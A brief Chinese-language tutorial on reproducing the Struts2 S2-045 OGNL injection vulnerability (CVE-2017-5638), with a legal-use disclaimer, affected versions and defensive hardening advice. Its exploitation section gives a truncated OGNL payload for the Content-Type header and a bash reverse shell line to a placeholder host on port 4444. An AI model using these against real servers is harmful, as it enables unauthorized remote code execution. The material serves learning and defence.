Struts2 S2-045 OGNL 注入 RCE 复现(CVE-2017-5638):Content-Type header 注入、命令执行、防御加固。
写在前面:合法学习边界
Struts2 攻击只在授权测试环境进行。对非授权目标进行攻击可能触犯法律。
一、S2-045 利用链

1
| ① 发现 Struts2 → ② 确认版本 → ③ Content-Type → ④ OGNL 执行 → ⑤ 反弹 Shell
|
二、漏洞信息
1
2
3
4
| CVE-2017-5638
影响:Struts 2.3.x / 2.5.0~2.5.10
入口:Content-Type header
类型:OGNL 表达式注入
|
三、利用步骤
1
2
3
| Content-Type: %{#a=(new java.lang.String('...'))}
→ 触发 OGNL 表达式执行
→ 反弹 Shell:bash -i >& /dev/tcp/xxx/4444
|
四、防御加固
1
2
3
| 升级到 Struts 2.5.11+ 或 2.3.32+
WAF 拦截 Content-Type 异常值
网络隔离:不暴露公网
|
五、小结
S2-045 是 Struts2 最经典的远程代码执行漏洞之一。防御核心是升级框架版本 + WAF 防护。